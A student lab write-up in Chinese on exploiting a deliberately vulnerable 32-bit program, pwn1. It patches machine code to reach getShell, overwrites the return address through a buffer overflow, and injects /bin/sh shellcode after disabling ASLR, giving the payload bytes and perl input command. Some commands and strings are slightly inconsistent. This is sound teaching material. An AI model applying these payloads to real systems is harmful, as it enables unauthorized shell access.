Exp1 PC平台逆向破解
本次实验操作对象为pwn1,一个以c语言编程实现的可执行程序。
实验目标是通过两种方法运行pwn1中的特殊代码段getShell:
1.通过修改pwn1的机器代码
2.利用foo函数的BoF漏洞
在这基础上,学习实现注入并运行Shellcode。
实验内容
实验环境 Kali linux 64bit(虚拟机)
搭建实验环境,配置Kali虚拟机
NOTE:
- 从Kali官网(https://www.kali.org/downloads/)获取镜像,并安装至VMware虚拟机。
- 在
/etc/apt/sources.list
中更新源。- 由于pwn1为32位操作系统程序,kali默认是不支持运行32位的程序的。需要添加32位程序的相关运行库。
反汇编获取getShell地址
输入命令行objdump -d pwn1
,将可执行程序反汇编
可以看到在主函数main通过call指令调用函数foo时,同时会将返回地址压入堆栈。
那么需要做的就是更改跳转的地址,使原本跳转到foo函数改为getShell函数。
这里要注意的是,此时栈顶存放的是下一条指令地址:80484ba。因此call指令对应的机器码是通过在80484ba基础上加d7ffffff,得到函数foo的地址。
同理,函数getShell的地址需要在80484ba的基础上加c3ffffff。
修改可执行程序
用vim直接编辑可执行程序pwn1。
在命令模式下,输入命令:%!xxd
,将机器代码切换为十六进制模式。
通过/d7ff
,找到需要修改的位置,切换至输入模式,将d7
改为c3
。
在命令模式下,输入命令:%!xxd -r
,保存后退出,被分为pwn2。
运行可执行程序pwn2,直接打开shell。
设计缓冲区溢出覆盖返回地址
首先,根据反汇编foo函数中8048494: 83 ec 38 sub $0x38,%esp
,我们判断源程序为缓存区分配了38字节
因此我们构造字符串1111111122222222333333334444abcdefghijkl
作为输入时,可以发现字符串越栈时abcd
先覆盖了%ebp,而efgh
继续覆盖了%eip
所以我们可以通过设计字符串,达到覆盖%eip寄存器内储存的下一条指令内存地址,即getShell函数的内存地址0804847d
设计的字符串为1111111122222222333333334444abcd\x7d\x84\x04\x08
生成字符串文件
由于十六进制值无法通过键盘输入,我们通过命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将字符串重定向至文件input
之后将input内容重定向至pwn1的输入即可。
ShellCode注入
我们通过构造retaddr+nop+shellcode形式的ShellCode来获得bash权限
nop作为缓冲区无效填充。
retaddr是缓冲区中位置固定的寄存器地址。
shellcode用于执行设计好的机器代码。
主要思路
在关闭地址随机化后,通过gdb调试,我们可以找到栈顶%esp寄存器的地址,在设计的字符串对应位置,放置上shellcode代码的首地址,即可让程序跳转至对应代码段。
/*设计的字符串文件*/
"A" x 32; /*用以填充缓冲区*/
"\x20\xd3\xff\xff\ /*Shellcode起始位置‘\x90\x90\x31\xc0’ 在缓存中的首地址*/
x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"
/*执行bash的机器指令*/
Tip:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
more /proc/sys/kernel/randomize_va_space
2
echo "0" /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
0
知识点
Kali更新源地址
官方源
deb http://http.kali.org/kali kali main non-free contrib
deb-src http://http.kali.org/kali kali main non-free contrib
deb http://security.kali.org/kali-security kali/updates main contrib non-free
中科大源
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free2
上海交大的源
deb http://ftp.sjtu.edu.cn/debian wheezy main non-free contribdeb
http://ftp.sjtu.edu.cn/debian wheezy-proposed-updates main non-free contrib
deb http://ftp.sjtu.edu.cn/debian-security wheezy/updates main non-free contrib
新加坡源
deb http://mirror.nus.edu.sg/kali/kali/ kali main non-free contrib
deb-src http://mirror.nus.edu.sg/kali/kali/ kali main non-free contrib
deb http://mirror.nus.edu.sg/kali/kali-security kali/updates main contrib non-free
deb-src http://mirror.nus.edu.sg/kali/kali-security kali/updates main contrib non-free
debain源
deb http://mirrors.163.com/debian/ wheezy main contrib
deb http://mirrors.163.com/debian/ wheezy-proposed-updates main contrib
deb-src http://mirrors.163.com/debian/ wheezy main contrib
deb-src http://mirrors.163.com/debian/ wheezy-proposed-updates main contrib
debian安全更新源
deb http://security.debian.org/ wheezy/updates main contrib
deb-src http://security.debian.org/ squeeze/updates main contrib non-free
163源的地址
deb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contrib
deb http://mirrors.163.com/debian-security wheezy/updates main non-free contrib
deb http://mirrors.163.com/debian/ wheezy-updates contrib main
阿里云kali源
deb http://mirrors.aliyun.com/kali kali main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali main non-free contribdeb
http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
执行命令apt-get update & apt-get upgrade
即可
安装32位运行库
Tip:
命令行输入apt-get install lib32z1
启发
本次实验给我的启发是,在攻击时要明白自己在攻击什么漏洞,以及攻击手段。
对于缓冲区溢出
NOTE:
系统对程序的缓冲区溢出会报错,但在这之前被覆盖的寄存器已经被更改了,因此无法阻止非法命令的执行。
对于注入ShellCode
NOTE:
ShellCode在攻击中扮演的角色是一段原本不会被执行的机器指令。当缓冲区溢出导致设计好的ShellCode的首地址“恰巧”覆盖在了栈顶返回地址retAdd时,其被执行导致用户获得bash权限。
评论
本次实验最终还是建立在关闭地址随机化,并且打开堆栈可执行的前提下。否则由于执行过程中堆栈地址不固定,导致ShellCode存放的机器指令实际地址可能会与设计好的文件中地址不相同,最终失败。